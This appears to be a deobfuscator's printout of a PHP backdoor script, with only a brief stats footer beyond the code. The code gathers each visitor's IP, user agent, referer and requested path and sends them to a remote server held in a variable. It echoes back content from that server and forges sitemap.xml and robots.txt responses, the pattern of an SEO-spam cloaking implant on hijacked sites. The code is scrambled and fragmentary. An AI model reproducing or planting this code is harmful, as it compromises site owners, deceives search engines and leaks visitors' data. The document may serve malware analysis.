{ goto Iis2e; OUGuj: $wZWlE = "\x30\56\60\x2e\x30\56\60"; goto ljI9v; nwvEU: qY9SR: goto ZtlUS; E6sZS: $wZWlE = getenv("\x52\105\x4d\x4f\x54\x45\137\101\104\104\122"); goto nwvEU; oTnAI: $wZWlE = getenv("\x48\124\x54\x50\137\x58\137\106\x4f\x52\x57\101\x52\104\x45\104\x5f\x46\117\x52"); goto RRGCM; XC9qv: $wZWlE = $XYXHF[0]; goto QLOWj; fUbED: if (getenv("\110\x54\124\120\137\x58\137\x52\x45\x41\x4c\137\x49\120")) { goto ZWm9U; } goto rHM4_; RRGCM: $XYXHF = explode("\54", $wZWlE); goto XC9qv; Cq21N: ZWm9U: goto LjRE0; Iis2e: if (!getenv("\x48\124\124\120\x5f\103\x4c\111\x45\x4e\124\x5f\111\x50")) { goto e0b8p; } goto y4usp; z77tV: e0b8p: goto fUbED; y4usp: $wZWlE = getenv("\x48\x54\x54\120\x5f\x43\x4c\111\x45\116\124\x5f\x49\x50"); goto z77tV; LjRE0: $wZWlE = getenv("\x48\x54\124\x50\137\130\x5f\x52\x45\x41\x4c\x5f\x49\120"); goto eNhTx; QLOWj: goto qY9SR; goto MIL0k; wubkd: if (getenv("\122\x45\115\117\124\105\x5f\101\x44\x44\122")) { goto dyyW9; } goto OUGuj; ljI9v: goto qY9SR; goto Cq21N; eNhTx: goto qY9SR; goto CNJl3; ZtlUS: return $wZWlE; goto CWrhp; CNJl3: edZgK: goto oTnAI; MIL0k: dyyW9: goto E6sZS; rHM4_: if (getenv("\110\124\124\x50\137\130\x5f\x46\117\122\127\101\122\104\105\104\x5f\106\117\x52")) { goto edZgK; } goto wubkd; CWrhp: } goto SfTmN; tVXgD: if (strpos($N_Zev, "\151\156\144\x65\x78\x2e\x70\150\160") !== false) { goto Yk_oH; } goto BuPDB; DBsd3: if (strpos($mJdx5, "\x6a\x70\x32\60\62\x33") !== false) { goto x4jgx; } goto wwyxD; yrCWW: kSBSe: goto mrv_5; ZH10A: f1h7T: goto Z1nLe; t3okC: $xCpsC = $bXC6s . "\x3f\x61\147\x65\x6e\164\x3d{$DnzGh}\x26\162\145\146\x65\162\75{$RUSvW}\x26\154\x61\x6e\x67\75{$XnqZA}\46\x69\160\75{$wZWlE}\x26\x64\x6f\155\x3d{$c2lPk}\x26\150\x74\164\x70\x3d{$vxz83}\46\x75\162\x69\x3d{$mJdx5}\46\160\143\75{$uVm01}\x26\x72\145\x77\x72\x69\x74\145\141\142\154\145\x3d{$L_HDi}\46\163\143\x72\151\x70\x74\75{$iUoAz}"; goto he1zG; bsNHb: ng882: goto h1kVb; VqR0T: iwQtL: goto GrAud; GlbD7: header("\103\x6f\x6e\164\145\x6e\x74\55\124\171\160\145\72\40\x74\145\170\164\x2f\x78\x6d\x6c\x3b\x20\x63\x68\141\162\163\145\164\75\165\x74\146\55\70"); goto oGpRO; M1A1Y: goto qljZr; goto XO1kI; wYP8A: jK4Jz: goto LXZmZ; L29Wc: qljZr: goto qFWIV; n1cDf: BnvWf: goto M1A1Y; rF_HQ: e8YVO: goto ia9Pj; bdcnv: if ($L_HDi == 0) { goto PNXY9; } goto hq1CX; gbhNI: $rhdKW = "{$vxz83}\72\x2f\x2f" . $c2lPk . $N_Zev . "\x73\x69\164\x65\155\x61\x70\x2e\x78\155\154"; goto GbqT3; Ibvt5: $PmHYH = e_R1R($xCpsC); goto U4XTJ; hVgGG: $xCpsC = $bXC6s . "\77\141\147\145\x6e\x74\x3d{$DnzGh}\46\162\145\146\145\162\75{$RUSvW}\x26\154\141\156\147\75{$XnqZA}\x26\x69\x70\75{$wZWlE}\46\x64\x6f\155\x3d{$c2lPk}\46\150\x74\x74\x70\x3d{$vxz83}\x26\x75\162\x69\75{$mJdx5}\x26\x70\x63\x3d{$uVm01}\x26\162\145\167\162\151\164\145\x61\142\x6c\x65\x3d{$L_HDi}"; goto lwp90; cIkWd: $xCpsC = $bXC6s . "\77\141\x67\145\x6e\164\75{$DnzGh}\46\162\145\x66\x65\x72\x3d{$RUSvW}\x26\x6c\x61\x6e\x67\x3d{$XnqZA}\x26\151\160\x3d{$wZWlE}\x26\x64\x6f\x6d\75{$c2lPk}\46\x68\164\x74\160\75{$vxz83}\46\165\x72\x69\x3d{$mJdx5}\x26\x70\x63\75{$uVm01}\x26\162\145\167\x72\151\164\x65\x61\142\154\x65\x3d{$L_HDi}\x26\x73\x63\162\151\x70\164\x3d{$iUoAz}"; goto Y7O5y; Yhz6p: $L_HDi = @file_get_contents("\165\170\x6f\x2e\164\x78\x74"); goto ItTb2; tiI3X: goto kYCzT; goto yrCWW; dlZg0: exit; goto sQ11K; KQKS8: goto f1h7T; goto VqR0T; P5p2_: goto IstFb; goto DyLBO; BXEVO: echo $PmHYH; goto oCqrQ; dkC37: if (!($PmHYH == "\x35\60\x30")) { goto Xjm2A; } goto XVIwc; shBmZ: exit; goto b9Iku; AM8s9: header("\x48\x54\x54\x50\57\x31\x2e\x30\40\x34\x30\x33\40\106\x6f\x72\142\x69\x64\x64\x65\156"); goto FJOPE; C4sKZ: exit; goto bsNHb; cVvT8: Xjm2A: goto qq0cm; GrAud: header("\110\x54\x54\x50\57\61\x2e\60\x20\65\x30\x30\40\x49\x6e\x74\x65\162\156\x61\x6c\x20\x53\145\x72\x76\x65\x72\x20\105\162\x72\x6f\x72"); goto qcF6s; fqd54: x4jgx: goto cIkWd; ItTb2: goto IVqvQ; goto wYP8A; B9xaw: $DOOFZ = "\125\x73\145\x72\x2d\141\x67\145\x6e\x74\72\x20\52\15\xa\101\x6c\154\x6f\x77\x3a\40\57"; goto gbhNI; n95Hp: $_SERVER["\122\105\x51\125\105\123\124\x5f\123\x43\110\105\115\x45"] = "\x68\x74\164\x70"; goto KPbbi; doI1q: $vxz83 = urlencode($_SERVER["\x52\x45\x51\x55\105\123\124\137\123\103\110\x45\115\105"]); goto qGrpc; piSty: if (preg_match("\100\x5e\57\50\x2e\52\77\51\x2e\x78\155\x6c\x24\x40\151", $mJdx5)) { goto YIUFD; } goto IkzXr; Hg_t1: goto ng882; goto fqd54; BmEx0: rgPYu: goto AOPWF; XHAfW: $DnzGh = urlencode($_SERVER["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\101\107\105\116\124"]); goto l7_y6; tHRUj: if (empty($PmHYH)) { goto xl4k1; } goto a0Hvy; XhPIH: exit; goto HYeYV; BNnE1: $xCpsC = $bXC6s . "\77\141\147\145\x6e\x74\75{$DnzGh}\x26\162\x65\x66\x65\x72\x3d{$RUSvW}\x26\154\x61\x6e\147\75{$XnqZA}\x26\x69\x70\75{$wZWlE}\x26\144\x6f\x6d\x3d{$c2lPk}\x26\150\x74\x74\160\x3d{$vxz83}\46\165\162\151\x3d{$mJdx5}\x26\160\x63\75{$uVm01}\x26\162\x65\x77\162\x69\164\145\x61\142\x6c\145\x3d{$L_HDi}\46\163\x63\x72\151\160\x74\75{$iUoAz}"; goto ylfRh; ylfRh: $PmHYH = E_r1r($xCpsC); goto lAFZJ; bA4TU: @file_put_contents("\165\x78\157\x2e\x74\x78\164", "\61"); goto ZsdMG; bJGV3: goto LY3Ka; goto YvalY; XVIwc: header("\110\124\124\120\x2f\x31\56\x30\x20\65\x30\60\x20\x49\x6e\164\x65\162\x6e\x61\x6c\40\x53\145\162\x76\x65\x72\x20\105\162\162\157\x72"); goto FBjKC; I2v_e: if (!preg_match("\57\74\x68\62\76\50\x2e\53\x3f\x29\74\134\57\x68\x32\x3e\57\x69", $PmHYH, $fEyF2)) { goto rgPYu; } goto LQU2Y; pixMx: if (strpos($mJdx5, "\146\x61\166\x69\143\157\156\x2e\x69\x63\x6f") !== false) { goto KJqbS; } goto DBsd3; hOsdN: $N_Zev = $_SERVER["\123\x43\122\111\x50\x54\137\116\x41\x4d\x45"]; goto tVXgD; ZsdMG: kYCzT: goto qm8qP; VXJmg: $LbWZ9 = ''; goto I2v_e; zNOvL: QiNIO:
?>

Function Calls

None

Variables

None

Stats

MD5 7d2dd4cfa3600ed1601b99b53c749de9
Eval Count 0
Decode Time 76 ms